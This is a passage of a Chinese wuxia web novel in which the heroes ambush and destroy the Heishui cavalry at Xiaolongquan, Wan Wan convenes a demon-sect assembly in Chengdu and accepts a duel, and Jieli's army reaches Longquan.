图片载入中

《大唐自在行》作者:北辰星夜 (13/16)

特大字】 【大字】 【中字】 【小字

第136章血战城关

众人体力消耗得厉害,回到营地后,革爰命那些满脸不相信神色的士兵们去打扫战场。

一个时辰后,战场被处理完毕,这一战粟末方面损失三十二人,其他人大都受到不同程度的伤,歼灭对手一千六百零二人,俘虏三百多人,缴获战马一千多匹,兵器上千把,大获全胜。

火化掉同伴尸体,举行公祭后,元越泽四人在周围战士崇拜的目光中坐到中心篝火堆旁,立即有士兵送上烤肉。

革爰激动地道:“多亏三位的帮忙,否则我族士气绝不会回复得这样快。”

元越泽大笑道:“革将军勿要客气,我们还是尽快计划下一步为好!”

跋锋寒沈声道:“元兄今晚是否打算实行‘斩首行动’?”

革爰与任俊由于拼得过猛,斩首敌军过百人,都受了皮外伤,惟元越泽与跋锋寒就像完全没经历过打斗似的,大胜后即说出不骄不躁的话,更令人心生敬佩,革爰闻言与周围战士皆露出好奇的神色。

跋锋寒微笑道:“你们知否狮豹是怎样猎食的?”

战士们还在讶愕时,革爰露出深思的神色,稍一动脑已联想到跋锋寒下面的话,道:“狮和豹都是猎狩的高手,它们都是有了固定的目标,把猎物的习惯反应摸通摸透,才进行袭击增加成功的机会。”

跋锋寒点头道:“分别在狮子联群结队的出动,像草原上的无敌雄师和各族军队;豹子则是荒野的幽灵,独来独往,大有独行夜盗的风范。”

接着一手搭上元越泽的肩膀,道:“元兄就是一头天生的豹子,暗夜的幽灵。”

众人愕然,继而爆起高声欢唿声,那些反应稍慢的战士们也明白过来,斩首行动指的就是刺杀敌方首领的特别战术。

革爰心中一阵激荡,叹道:“这种事对别人来说恐怕只是做梦,对元兄来说却是小菜一碟,哈!”

元越泽苦笑道:“这都被逼出来的,实际上我若状态万全,甚至敢去尝试于十万金狼军中刺杀颉利,但颉利身边很可能有比伏难陀还要高明的人保护,以我目前的状态,也只敢在上千人中刺杀铁弗由了。”

没有人会笑话他胆子小,只说这种疯狂的战术,天底下恐怕再没人能想得出来,遑论亲自去实践。这种战术很特殊,特殊在一旦成功,获益大得无法想象,但难度也大得寻常人无法想象。不过元越泽即便只恢复五成功力,于千人中刺杀铁弗由又有何难?何况还有革爰等人�应外合配合进攻。

革爰雄躯微震,握紧拳头道:“多谢三位兄弟一番开导。”

他虽是性情中人,却不愚蠢,且善于征战沙场之道,立即明白到跋锋寒刚刚故意提起狮豹的意图,是在以委婉的方式向革爰提示注意警告下属时刻冷静,谨记兵家“知己知彼,百战不殆”的要旨。

四人一边享用酒肉,一边制定起接下来的计划。时间有限,已不允许他们多休息片刻,好在士气已被激起,刚刚驻扎在这�的兵士还有近千人,他们都是体力充沛,可随时执行任务。

一小头目的人突然上来报告,黑水部俘虏中有人招供与铁弗由的联系方法,原来铁弗由命先行的“黑水三煞”抢占小龙泉后立即发出讯号,这样他后面过五千的骑兵也能迅速追上,占据小龙泉不但可对龙泉造成更大的威胁,且进可攻退可守,又能第一时间冲入龙泉抢夺财宝,实是上好之计。

跋锋寒笑道:“铁弗由按捺不住,主动送上门来,看来元兄的‘斩首行动’暂时要搁浅啦!”

元越泽耸肩做了个无奈的表情,四人大笑后,立即决定将计就计,命手下分工开始设伏,经过刚刚一同行动的粟末战士大肆传播渲染,其他粟末战士亦对他们敬若神明,纷纷准备起来。

革爰油然道:“孙子兵法有云:十则围之,五则攻之,倍则战之,敌则能分之,少则能逃之,不若则能避之。故小敌之坚,大敌之擒也。我们的计划一点也不合兵法至理,却是胜券在握,因为有了三位强大得可以改变形式的人站在我们这一边。”

元越泽失笑道:“革将军勿要�举我们,孙武可是将小弟这种‘必死可杀’的人列为将领五危第一危!”

革爰摇头道:“正所谓‘勇怯,势也;强弱,形也’,我们目前实力虽弱,却占得先机,声势更是攀上一个前所未……”

跋锋寒摆手没好气地道:“两位能不能好好说话?在我和小俊这等粗人面前就不要卖弄了!”

四人对视,又爆出一阵狂笑。

一个半时辰后,铁弗由亲率大队由北方无声无息地靠近小龙泉。

这智勇双全的黑水族领袖生得矮壮强横,头顶弱冠,七彩缤纷,色彩夺目。身后的骑兵队伍长得看不见队尾,五十名多年保护他的精锐手下护在他的身后,只看一眼就知他们全是身经百战的勇士。

“大王,那处营地是被他古鲁那列三人摧毁的,奇怪他们为何没出来迎接我们?”

一骑迅速赶到铁弗由身边,那么快的速度却只激起点点微弱声响。说话者一身劲装,外貌不太像粟末靺鞨人的精细灵巧,而是粗豪得有点贼眉贼眼。

他口中的“那处营地”指的就是元越泽等人为诱敌深入而舍弃的原来那片营地,任铁弗由如何精明,也想不到敌人胆子会大成这样,更不虞有诈。他古鲁那列就是“黑水三煞”的老大,被元越泽一剑贯体的那位可怜的老哥。

凝望前方火光闪现的石堡,铁弗由精神大震,点头道:“我们早就听到了这附近的震天喊杀声,想不到拜紫亭已死,粟末族人竟还有这么强的战斗力,可能他古鲁那列损失也不轻,噢!你看他们都在石堡下扎营休息了。”

前面几个黑水族重要人物顺着他指的方向望去,只见石堡西北方的一处天然谷地靠近最�侧的石壁处,立起百多个帐篷,迎风高扬的黑水族旗号显示出他们是哪一方的人,军营之中每一个营帐的外面都竖着一根火把,营寨旁边更是有三三两两放哨的黑水装扮,头缠裹布的战士。

铁弗由面色一沈,举手打出停止行进的口号,大部队立即停下,只发出微弱的声响。

小龙泉兵力薄弱,防守主要力量就是建于离岸半�许处的那座石堡,可容数百兵员,以之对付海盗、马贼或是绰有余裕,遇上突厥军或外敌大举来犯则只能应个景儿,恰供攻打龙泉前热身之用。黑水三煞的先锋部队人数有两千,若非是伤亡惨重,怎会在此刻驻扎对峙,而不立即进攻?

铁弗由目光紧盯小谷中营地中的动静,表情沈冷地道:“几位如何看待元越泽在龙泉斩杀伏难陀,又害丝拜紫亭的行为?”

此人心机深沈,其族人并未露出半分惊讶神色,其中一人沈吟道:“他到草原的目的,我们都能猜得出,他这番作为该是为突利造势,人人皆知他与突利的关系,且我们探子回报说二人曾在松花江附近见过一面,至于谈的什么,外人就不得而知了,不过可以肯定他们达成了某种合作关系,突利在这凶人的支持下,完全有可能在攻击龙泉过程中暗算颉利一把,加上元越泽为他造的势,突利必定会顺势崛起,甚至取突利而代之。”

另一人附和道:“我想他该不会舍简就繁帮助龙泉军的,因为那等于以卵击石。”

反应稍慢的人这才明白原来铁弗由是担心中了埋伏,立即对他的崇拜和缜密心思又上一个新高度。眼前的小谷占尽攻守自如的地理优势,只有心思足够冷静者才能在这等情形下还考虑会否中伏的问题。

铁弗由点了点头,再次打出手势。

骑兵队伍缓缓开进山谷。

铁弗由边走边看,暗叹黑水三煞还懂点行军布阵之道,将营地依山而建,不怕对手的偷袭。黑水族骑兵快要完全驶近谷口时,一个怪啸声突然响起,尖锐刺耳,传便山谷,四周的山丘上突然箭矢如雨,密不透风地射向黑水骑士队伍。

铁弗由暗叫不好,高喝下达命令,骑兵们不见慌乱,迅速分散开来,往山谷四方奔驰而去,这正是遭遇伏击围攻最好的应对办法。

箭雨一波又一波漫天射下,即便黑水族士兵反应迅速,损失依旧很大,又一波箭雨射完,谷口两侧的山头处暴起震天的喊杀之声,上千手持长矛的粟末战士如同潮水般的冲向敌阵,展开真刀真枪的对决,刹那间就有数百黑水骑兵被刺落马下,魂归地府。

长矛步兵是骑兵的天生克星,铁弗由咬牙切齿,却依旧冷静下令,喝道:“退守山谷深处!”

为应急而分散的兵力再次开始集中,黑水骑兵们顾不上周围同胞们的哀嚎之声,惟有先行集中,再做突破,否则只有死的下场。

元越泽、跋锋寒、任俊三人各带三百左右粟末长矛步兵,从三个方向以扇形迅速追击。在三个状若天神般的高人带领下,粟末族战士战意澎湃,纷纷握紧手中的长矛,奔雷电掣地杀入狼狈而逃的敌阵中。

始如处-女,敌人开户;后如脱兔,敌不及拒。此之谓也。

但黑水族骑兵的噩梦远没有结束。

退入山谷深处军营附近的他们,兵力已损失过千,还未等喘口气舒心时,营地后方突然射出一阵火箭,目标却不是黑水骑兵,而是那些军帐。

铁弗由立即大惊失色。

他岂会没有猜测到敌人在谷地深处也可能安有陷阱?可刚刚的军令却是不得已而为之,敌人处处抢占先机,先依靠地利,以箭雨打破己方阵势,进而又以长矛兵对付己方骑兵,瓦解己方优势,最后埋伏后招,使得己方实力迅速被削弱,可谓高明至极。现在后有数股专门克制骑兵的伏兵,前有火海拦路,黑水骑兵瞬间已是山穷水尽的地步。

这是元越泽四人精心构画出来的计谋,他们距离小龙泉很近,可以在兵器军备上迅速得到补充,革爰是统帅级人物,所以想出以长矛步兵对付黑水骑兵的计谋,元越泽三人建议出这个火海战术,从小龙泉处取得火油,藏在易燃皮革搭建而成的军营内,革爰率二百人埋伏在最深处,就等黑水骑兵被迫退望谷地深处时点燃。

这一系列计谋能够实现,说到底,还是利用了铁弗由的轻敌心理。这也怪不得他,谁也想不到龙泉兵士气会突然回复,还敢以千人步兵伏击六千骑兵。

火箭如同暴雨流星般落在军营上,过百营帐立即被点燃,眨眼间火光四射,退至军营范围内的一些黑水骑兵甚至来不及逃掉就已被无数的火舌所吞没,哀嚎声比诸受刀枪攻击更为凄厉。

黑水骑兵仓惶下狼狈逃窜,出得烟火范围的他们面色漆黑,军装破碎,一副丢盔卸甲,士气大失的模样。

若这谷地内有大风的话,火攻的效果可能会更好,不过有所失必有所得,一旦那样,粟末战士也会受到伤害,元越泽等人亦不敢使用这种四面围攻的战术了。

元越泽三人各自带领一众手下分守各路,按兵不动以回复体力。

真正的大战一触即发。

铁弗由率领四千左右骑兵冲出火海,对上元越泽三方共九百长矛步兵。

元越泽邪剑连鞘插在面前地上,人则是负手卓立;跋锋寒面色淡然,肩抗长剑傲立;任俊双腿微分,手拄长空,挺立如山岳,闭目调息。

只这三人,就予人一种唿吸困难,生不出对抗心理的莫名压力。

端坐马上的铁弗由面色阴沈,双目凶光闪闪,冷眼扫过为首的元越泽三人,面色已转狰狞,恨声道:“元越泽、跋锋寒、任俊!想不到为收买粟末人的人心,你们三人竟会做出这等牺牲,铁弗由佩服之至!”

他的汉语说得非常好,元越泽等人也不惊讶,因为他们早知塞外诸族的领袖或王族人物,均精晓汉语。

元越泽的邪剑,任俊的长空,都带有明显的特征,过目难忘,铁弗由当然一眼就认出他们来,而跋锋寒横行草原大漠,铁弗由亦没可能不认识他。他的话更不简单,一方面借拖延时机来给手下整顿队列的时间,一方面挑拨元越泽三人与粟末族的关系,警告粟末族人勿要太过相信别人。他的话确实产生了些许作用,刚刚失去精神支柱,心理极为脆弱的粟末战士们虽对元越泽三人敬若天神,闻言心中都开始了思索,窃窃私语,场面稍显混乱。

革爰率领一众手下绕过火海来到黑水骑兵另一侧,高声喝道:“元兄三人侠义忠良,义助我族,而你铁弗由却甘心做颉利的走狗,难道你想说你比元兄三人更高尚吗?你根本不配做我靺鞨一族的人!”

粟末战士本就对黑水族充满敌意,闻言纷纷喝骂,注意力被成功转移。

任俊虎目原瞪,�手戟指铁弗由,喝道:“休要逞口舌之威,你可有胆量与我一决生死!”

铁弗由乃草原上威名显赫的高手,实力不容置疑,何曾被人这样小看过,不屑地冷哼道:“杀了两个马贼就不知天高地厚,凭你还未有本事向本王挑战!”

经过这一拖延,黑水士兵阵势不再那么混乱,闻言后更是纷纷喝彩,低落的士气亦开始回升。

元越泽与跋锋寒对视一眼,哈哈笑道:“笑话!是骡子是马,牵出来跑上几圈,谁高谁低不就一目了然了吗!除非你是打定主意教手下为你送死,自己找机会逃之夭夭。”

跋锋寒同样大笑道:“你若能胜小俊,我跋锋寒就以草原神灵立誓,今晚可放你们一条生路。”

革爰见识过三人神勇,知道跋锋寒这么说,代表任俊绝对能胜,亦开口立誓允诺。

元越泽二人看出铁弗由是在借机整顿队列,同时激起己方消沈的意志和信心,所以言语迫他立即决斗。

任俊明白过来,昂然拔刀举步,道:“别白费力气了,凭你的本事,我两位兄长根本看不入眼。战与不战由你选择,一言可决!我们身后的粟末族兄弟们可不是吃素的!”

他步伐稳定有力,显示出强大的自信,双目神光电射,慑人已极。言语更是巧妙地鼓舞着己方士气,粟末族战士们立即生出与他是生死相连的兄弟而非上下属的感觉,看着他的背影,均露出尊敬的神色。

若以人数来算,黑水族远胜粟末族,但决定战争胜负的不可能只是人数。铁弗由也是个中大家,自然明白要先提升己方士气,与任俊一战就是最简便快捷的途径。于是纵声大笑,甩蹬下马,手掣长矛,缓步前行,道:“今日本王就教你后悔来草原走了这一遭!”

来到任俊身前三丈许处,铁弗由停了下来,冷眼打量着依旧提刀遥指自己傲立的任俊。双方激发的气劲连续交击,吹得二人衣衫猎猎做响。

双方战士开始呐喊助威,一时杀气凝聚,决战的气氛笼罩山谷的上空。

任俊嘴角撇出一抹诡异的笑意,淡淡道:“大王请!”

手中的直砍刀微微颤动起来,发出荡人心魄的嗤嗤响声,有若实质的气劲从刀尖狂泻,罩上铁弗由。

铁弗由心生惊讶,知道自己小看了对手,立即双手合握矛柄,双目厉芒暴闪,厉声道:“废话少说!”

任俊暴喝一声“好!”

后,人刀合一,化做一缕碧芒,轻飘飘向铁弗由胸口卷去。

他这刀招异常玄奥,将轻灵寓于刚猛中,看似无力,实则狠辣,更有一股难以言喻的虚实难测味儿,登时教铁弗由对敌人的评价再度上升。

此战必须速战速决,任俊出手已是最强的一击。

一时间寒气大盛,荡人心魄。

凛冽的刀气破空而至,铁弗由不敢大意,聚功矛尖,斜挑而上。

“锵!”

长空噼在铁弗由的矛尖上,发出尖锐难听的刺耳声,久久不散。

两人同时一震退开,任俊只退一步,铁弗由却退了两大步。

黑水骑兵们皆感愕然,自己的大王竟真的不如这刚冒起不久的毛头小子?呐喊声不再那么高昂。粟末战士们则是疯狂喝叫。

元越泽与跋锋寒同时点头赞许,任俊这段日子提升确实很快。

一招得势,任俊毫不犹豫,脚踏着奇怪的步法,一步一步往对手迫去,步伐生出一种奇异的节奏,仿似死神的命符一般。

铁弗由连后悔都来不及,一声长啸,抢着出手,身形前闪中,长矛连续从不同角度刺出,幻出千百道虚实难测的幻影,气劲破风声接连响起,惊涛骇浪袭向似慢实快移动过来的任俊。

任俊长笑一声,全身立即被一团翠芒笼罩,抢入铺天盖的矛影中。

金铁交击之声接连响起。

铁弗由进退惟艰,与任俊一连串的拼下来,他心生颓然,对手的刀看似随意,却是浑然天成,连绵不断,角度更是刁钻无比,他有一种根本不知应付对手那一方面的攻势才是恰当。更要命的是对手的力道忽轻忽重,但无论或轻或重,每一刀均把他的长矛和气势紧紧吸住,教他无法抽身后退,再组攻势。

蓦地,漫天矛影骤消,变成一矛,化作电闪,向任俊小腹刺去。同时铁弗由一声惨叫,鲜血狂喷中,喷整个人被震飞向黑水骑兵阵营方向,对周围哑声厉喝道:“动手!”

任俊没想到对手会以两败俱伤的方式迫自己收招,疾退中大叹可惜。

一直在注意场中一举一动的革爰也立即下令围攻。

喊杀声震彻山谷,正面交锋终于开始。

黑水骑兵们刚有起色的士气再次低落,但为生存,他们惟有打起精神迎战,杀一个够本,杀两个赚一个,这简单道理谁都懂。

元越泽四人依旧冲在最前面,砍瓜切菜般杀入敌人阵中。

骑兵最适合在宽阔的平原地区战斗,在这种谷地内,又遇到长矛步兵,且己方首脑人物大败,除人数外,黑水军一方优势荡然无存。

在生死一发间,草原人的凶性被激起,黑水兵奋勇抵抗粟末步兵的围攻。

不过情况并不乐观,他们惟有且战且退,铁弗由的五十名亲卫更是护着无力再战的主子企图杀出包围圈。但有元越泽几个高手在,他们一次次的尝试,换来的只是更多手足的毙命。

数招后,元越泽砍翻最后一名铁弗由的亲卫,黑水骑兵的残余战力只余千许。

跋锋寒一剑干掉死不瞑目的铁弗由,高声呐喊,浑身浴血的粟末战士们齐声附和,攻势更猛。

谷地内血肉遍地,尸骨如堆,狼藉处处,与漫天的灰色阴霾构成一幅无比凄凉恐怖的画面。

战斗持续近半个多时辰,喊杀声才渐渐转小。

最后一名黑水骑兵被斩杀后,谷内恢复平静,只余尚还有口气,东倒西歪,或坐或卧的粟末族战士们粗重疲累的喘息声。

任俊和革爰颓然坐倒,面色煞白,眼中确实无限的欢快。

元越泽与跋锋寒体力消耗亦极大,原地坐倒开始调息。

待二人恢复几成体力,睁开双眼时,天空阴霾已少了许多,星月依稀可见,周围多了许多手持火把的粟末族士兵在打扫着战场。

元越泽环顾四周,任俊和革爰不知去了哪�,起初一起战斗的粟末战士们也大都不在,一袭劲状的长腿美女宗湘花正在不远处的谷心的一堆篝火旁不断发号施令指挥着。

二人起身走了过去,打了声招唿。

宗湘花回过头来,俏脸上闪过欣喜,美目闪闪生辉,仔细地打量了二人几眼。

篝火将她的优美轮廓反衬得一半明一半暗,具有某种难以形容的神秘清冷感。

被女性这么放肆地看,二人亦老脸微红,元越泽慌忙岔开话题,问起发生了什么事。

原来他们调息已有几个时辰,现在已是后半夜二更天了,战斗结束后,革爰派体力尚余的战士出去通知龙泉的人来打扫战场,宗湘花与客素别心情振奋,一同来到此地,接回疲累的战士们,革爰二人体力透支,也被�回龙泉休息,元越泽二人因为调息,所以没人敢打扰他们。

宗湘花肃容道:“此战我方伤亡四百余人,全歼敌人过六千骑兵,战利品更是丰富,黑水部自明日起再无影响力,我代表族人感谢三位的大义。”

第137章至尊约战

此时不断有打扫战场的粟末族士兵往来,望向元越泽与跋锋寒的目光都是崇拜和感激。

元越泽二人连忙客气,宗湘花又瞟了一眼元越泽,叹道:“颉利今趟也要吃不完兜着走了!”

元越泽与跋锋寒对视一眼,心知自己已通过实力和表现获得了这清冷女子的尊重。接着又暗自苦笑:今晚他们大发神威,将黑水近万精骑全灭。但金狼军不但比黑水骑兵威猛,数量更是其十倍以上,对上如此数量庞大的凶残部队,任谁也不敢夸口说可以取胜。宗湘花的表现代表了一直忠心拜紫亭那部分粟末人的想法,伏难陀的信徒们恐怕不会轻易接受元越泽三人。

宗湘花的清越声音再次在二人耳边响起,道:“我们前方探子回报,说颉利率金狼军一路东行,沿途杀人放火,烧掉很多集市的营帐,奸-杀不少妇孺,其残暴天理难容。”

二人闻言眼中闪过骇人心神的精光,同时望向东北方,谷地最深处火光烛天,熊熊烈焰把大量浓烟翻滚不休地送上高空,遮得那片天空中刚刚清晰少许的星月之光。

沉默半晌,元越泽才冷哼道:“就让颉利好好见识一下老子这步军总统领的厉害!”

宗湘花愕然道:“公子何时成了步军总统领?”

元越泽瞟了她吃惊的可爱模样,得意地道:“在下不才,今晚刚自封步军总统领,跋兄就是马军总统领,小俊是他副手!”

跋锋寒没好气地给了他一拳,耸肩摊手,表示自己对他的“封赐”完全没兴趣。

宗湘花瞬即明白过来,发出一阵银铃般的娇笑,俏模样看得只见过她一副冰冷模样的元越泽二人都呆住了。

宗湘花意识到自己失态,慌忙恢复从前的模样,淡淡道:“两位请到龙泉歇息吧,最迟后日黄昏,颉利的大军就会到达龙泉城下。”

元越泽二人眼中不约而同闪过浓烈杀机,点头后随恭敬上来带路的兵头走出山谷。

四月初一。

成都,琴台路。

一袭素淡白衣,裙下赤足的婠婠的优雅身影出现在路中段的一座屋嵴上。

她绝世的玉容上一片淡然,如深黑夜空中挂着两颗璀琰明星般的美眸宁静怡人,深情地俯瞰着这条西汉大辞赋家司马相如与才貌双绝的卓文君曾生活过的街道,但见商铺处处,楼阁层曾,屋顶叠坡、素淡着色,使人深切感受到温暖的生活氛围。轻风徐徐,裙带扬拂,她长可及臀的乌黑秀发衬着白衣雪肤,强烈的对比使人目眩。

看着看着,婠婠嘴角逸出一丝平和的笑意。

今天无论对成都抑或魔门来说,都是非常特别的一天。

魔门大会就在今日召开,魔门分裂数百年后,终于走到了统一的一刻,眼下惟一摆在婠婠面前的障碍就是“邪王”石之轩。

良久,婠婠消失在原地,以肉眼难辨的速度,奔向琴台路的终点。这一刻她傲立檐顶,下一刻却已负手悠闲踱步街心,但转瞬后他早转出长街,穿巷远去,普通人根本察觉不到她有奔行的动作,只使人感到玄异莫名。

婠婠的身影再次清晰时,她已落到城西一座古朴幽静的大宅院内。

推开大厅房门,婠婠缓步而入。

大厅内空荡荡的,没有半个人影。

婠婠没露出半分惊讶的神色,仪态大方地走到上首正中央处的虎皮后背椅处坐了下来,闭目养神。

距离大会时间半刻钟不到,门外响起一阵对于常人来说根本听不到,对于婠婠来说却有如雷响的脚步声,接着数条人影出现在房间内。

来者分别是老君观的辟尘、灭情道的尹祖文和许留宗、天莲宗的安隆和辅公祏、道祖真传的左游仙。几人竟连招唿也不打一个,就纷纷坐到作为两旁的席位上,外表虽无任何波动,但双目凶光隐闪,齐齐聚焦正中央的婠婠。

婠婠依旧没有睁开双眼,动都不动,更没有开口,神情庄严肃穆。看似随意的坐姿,淡雅如烟,轻灵若梦,有种难以捉摸,随时可能会逝去,惹人心中不期然生出美好事物不复的伤痛凄苦感,别具一股慑人之极的玄异魅力。

婠婠缓缓睁开美眸,一对湛蓝有若无边星海的瞳孔神采飞扬,光芒电闪,平添了几分妖冶邪异的气息。

锐利似剑的眼神缓缓扫过众人,婠婠嘴角逸出一抹无人能懂的笑意。

众人心中不约而同地思忖莫非她也练成了种魔大法?接下来却遍体生寒:他们各个都是绝代高手,皆清楚地看到婠婠扫视时,目光在每一人身上都停了许久,但对时间的感官却告诉众人:婠婠只是淡淡一瞥后,眨眼间就收回眼神。这两种彻底在时间�对立的快慢极端,正是种魔大法的精髓。更要命的是被婠婠看过后,几人都生出无力抵抗的可怕感应,交换了一个了解的眼神,几人勉强压下心头惊骇。

婠婠轻启樱唇,以清甜柔美,赛过天籁的声音道:“自我圣门之祖‘天魔’苍璩搜遍天下寻求奇典异籍,归纳为《天魔策》十卷,开创出两派六道,经历过汉末黄巾军和五斗米道发展,再到晋末‘圣君’慕清流未能实现‘圣门天下’的愿望后,转为四分五裂,今日婠婠以阴癸派、圣极宗、魔相宗三派之主的名义宣布:圣门两道六派重归一统,众位可有意见?”

座上几人都是魔门各分支中能做主之人,闻言同时闷哼,似是不大同意婠婠的话。

尹祖文面无表情地道:“今日大会,代表花间派和补天道的石大哥并未出席,婠儿怎可这样大意?”

春节后,李渊就开始对尹祖文投闲置散,若非李渊耳根子软,早一举干掉他了,哪知尹祖文丝毫不知悔改,反是怀疑是元越泽等人告秘给李渊,导致自己落到今天这个下场,今日除了见证魔门大会,更为撒气而来。

左游仙在一旁阴恻恻地干笑道:“据说言帅早消失不见了,原来将衣钵传给了婠儿,他是否去过些隐居山中的平淡生活了?”

辅公祏以阴柔低沈的声音继续道:“既然今日是我圣门一统的日子,为何不见婠儿拿出圣舍利?杨公宝库不是早入元兄之手了吗?”

此人作为杜伏威的拜把兄弟,安隆的师弟,江淮军的第二号人物,在被寇仲打得落花流水后只有将杀师大仇抛到脑后,暂时选择依附安隆,以图日后报仇雪恨。

婠婠目光微垂,挨个听着来自这些不服自己之人的责难,他们口口声声称她为“婠儿”魔门一直尊卑辈分分明固然是一个原因,更重要的是这些人压根不认同婠婠做魔门至尊,所以找出各种理由来为难她。不过他们都是强压住心中的惧意才说完这些话的,因为他们清楚地发觉到每个人开口时,婠婠的眼神都再紧盯他们,现实中却是婠婠从未�过眼皮,这份通玄的精神修为,已远超众人。

婠婠依旧没有�起眼帘,更没有回答几人的问题,淡淡道:“论辈分,在座诸位都是婠婠的长辈,但圣门一统后,婠婠将是新一代的‘圣后’,请诸位记好,我不会再说第二遍。”

安隆发出一阵震耳长笑,有点像猪的哀嚎,令人难受至极点,仿似给他的笑声直钻进骨髓�去作浪兴波,随后冷笑道:“石大哥还未点头,婠儿凭什么自封‘圣后’?”

婠婠对他的挑衅也不气恼,�眼望上他,微笑道:“婠婠敬重各位,才坐在这�好声好语的商量,若非大家都是同门中人,诸位手中又掌握着各种势力和收入来源,婠婠早凭武力解决问题。”

接着不理众人愤怒的眼神,举起纤美修长,晶莹剔透的玉手,美眸杀机暴现,冷声道:“石邪王就在成都内,若他敢来为何还不现身?你安隆如能接得了我一掌,婠婠今后奉你为主!”

安隆贵为邪道八大高手之一,何曾受过这样的鄙视,闻言却是一张又肥又圆的老脸憋了个通红,咬牙切齿半晌却没敢再开口。非是他胆小,只因作为魔门中人,对魔门第一奇功道心种魔大法的推崇和恐惧已超越常人。且他清楚地察觉到自己已被一股无形有质的阴柔气场紧紧锁死,不但浑身动弹不得,更连开口说话都做不到。

论辈分,辟尘比婠婠大上两辈,只听他木无表情地道:“种魔大法的锁魂异术确实诡异莫测,不过你若想当‘圣后’,还有一关要过,我们今日就是替邪王下战术来的。七月十四,凤凰山,一战定至尊!”

婠婠无声无息间收回气场,安隆心中松了口气。幸好刚刚没有冲动,否则必死在婠婠手上,像他们这级别的高手,探察敌人时都是凭对手生命释放出的生气,比如人体内部血液流动、脉搏心跳,都会发出微细的声音来追踪敌人的位置。但婠婠的锁魂法门显然高明了不止一筹,安隆等人刚在城南见过石之轩,石之轩当时也自言自语说过“她来了!”

当时他们尚对石之轩的高深修为五体投地,岂料婠婠根本不比石之轩逊色,二人的元神早就锁了起来。这种外人看来荒诞无稽的异术简直骇人听闻。

婠婠心道难怪这些家伙如此有恃无恐,原来有石之轩在背后给他们撑腰,于是点头道:“请诸位转告邪王,婠婠届时必到!”

本来她与石之轩一战就是再所难免,既然对方约战,自己又何乐而不为?

约战目的已达,安隆等人没再罗嗦,直接起身离去。

魔门最崇尚弱肉强食,从安隆等人的眼神中,婠婠看得出他们对石之轩的狂热崇拜和推崇,否则绝不敢反对她。思及石之轩春节期间又阴了一把刘昱,吸到不少内功一事,她暗暗警告自己万不可轻敌。

黄昏时分。

元越泽与师妃暄闭目对坐在圆桌前。

前日晚干掉黑水骑兵后,昨日几人再次突袭出击,击溃阿保甲驻扎在湄沱湖边的五千鹞军,阿保甲与铁弗由一样,怎也想不到在粟末军会主动出击,结果被粟末三千步兵围攻,除少数人逃掉外,大部分人都被杀死。回城后经过客素别等人的有心渲染传播,元越泽三人在龙泉声势大震。虽然伏难陀的信徒们依旧用可以杀死人的眼神来看他,总算不敢公开放肆。至于忠心拜紫亭的手下们,则对他们三人崇拜不已。

昨晚酉时末,金狼军的先头部队,约四万人马就已到达龙泉外一�处,随后分两波驻扎在城西和城南两个方向。接着不断有一队又一队的骑兵来到城外半�许处制造出震天的声响,借以恐吓龙泉军民,却一直没发动过正面进攻。

跋锋寒认出这是颉利名震草原的战略,每迫近战场,就把战士分作数组,轮番作战。保持在全盛全攻的状态下,令敌对者没片刻休息的时间。此种战术在平野之地功效卓着,配合他派出四处扰敌的小队,所到之处,像蝗虫般把一切吞噬蚕食。

若在两日前,龙泉士气低落,敌人只要从四方八面发动猛攻,龙泉恐怕连半天都捱不住。现在却是不同了,军民中有一大部分都是战意激昂,革爰更是命手下在城墙上叫骂,气势丝毫不弱于金狼军。

二人同时睁开眼睛,对上元越泽毫不顾忌的眼神,师妃暄略显窘迫,俏脸微红地岔开话题道:“公子真打算率领龙泉这只弱旅对抗过十万的凶残金狼军吗?”

元越泽微微一愕,道:“‘率领’这个词用得不准确,妃暄该知我的水平,当个率众冲锋陷阵的大将倒还行,运筹帷幄的统帅却没我的份,因为我只会纸上谈兵。眼前形势已是一触即发,我若就此走掉,良心定会不安。”

师妃暄默默点头,似是有所感地道:“人们为何不能和平相处?”

她说出这样在许多人眼中看来幼稚单纯的话并非反常,而是恢复了最真实的样子。元越泽给了她一种知己的感觉,二人的进行过元神交流,那是任何语言都难以形容的美妙经验。

元越泽微笑道:“答案妃暄心中早知,何必再问?”

师妃暄叹道:“自远古以来,在人们懂得以自我思考为中心,有所渴求后,欲-望便一发难止,草原是一个伦理法规意识薄弱的地区,相对来说,人们的思想偏向原始,却也更为野蛮放肆。”

元越泽同意道:“无论文化如何昌盛发达,人类要想生存,便逃不出自然界最原始的定律‘弱肉强食’,现在就是个崇尚暴力的时代,只有强者才能获得无上的权威,才配主宰大地上所有生灵的活动。”

师妃暄微微颔首,道:“公子就是要将充满暴力和憎恨的人间乐土净化而来的。”

元越泽失声笑道:“我可没有那么伟大!只是不想良心受到谴责,打算尽自己的一分力罢了。俗世生活,争名夺利,我没有半分兴趣。噢!妃暄认为我在说谎。”

这种宁谧的气氛下,二人精神又全放在对方身上,通过神奇玄奥的精神感应,自然可以大约把握得到对方的心理活动,师妃暄闻言俏脸再红,微微摇头,却没有答他。

元越泽道:“妃暄定是想到了我家中诸位贤妻,所以生出我言不由衷的念头。又或者…”

说到这�,他停了下来,面色古怪地干笑道:“妃暄发觉到我的‘野心’了?”

师妃暄起初还是静坐,听到后面时,立即窘迫得无以复加,面罩红霞地大嗔道:“不许你再说!”

这“野心”究竟是什么,已不言而喻。

元越泽哈哈大笑,生出与她打情骂俏的动人感觉。这一刻的师妃暄虽不太像仙子,却予人有血有肉的真实感。

门外突然传来脚步声,令还想逗她几句的元越泽立即停了下来,尚秀芳的轻柔声音在门外响起,道:“颉利已达城外,革将军请夫君过去一谈。”

元越泽面色一沈,接着撇嘴做了个无奈的表情,点了点手镯,师妃暄面色复杂地点了点头。

元越泽大手拍上她的香肩,笑道:“妃暄不必担心,就算最坏的结果也是他们把我抓住,我的身体有多强,你该很清楚。”

师妃暄狼狈地白了他一眼,元越泽笑得更是厉害。

西门和南门外漫山遍野全是一排一排布置有序的火把光,照得星月黯然失色,夜空火红。

元越泽三兄弟与客素别等一众粟末将领集中在西南角的城墙头,人人脸色凝重。

最接近的先锋队伍人数约七千,已推进至距城门只有数百丈之遥。颉利的帅旗在�许外一处的顶上,眼所见的总兵力至少也有八万,清一色骑兵,看不到攻城的工具,很有可能收藏在较远的密林内,称得上是人强马壮,士气如虹。

元越泽回头扫视,包括革爰在内的一众将士面如死灰,对上远比黑水骑兵和鹞军还要凶悍,还要多的金狼军,他们的士气再受打击。这也怪不得他们,因为以眼前金狼军的实力,足可荡平大草原,甚至纵横中原而无人能阻。

与跋锋寒对视一眼,元越泽道:“几位都是草原人,对颉利当然更为熟悉,不知有何看法?”

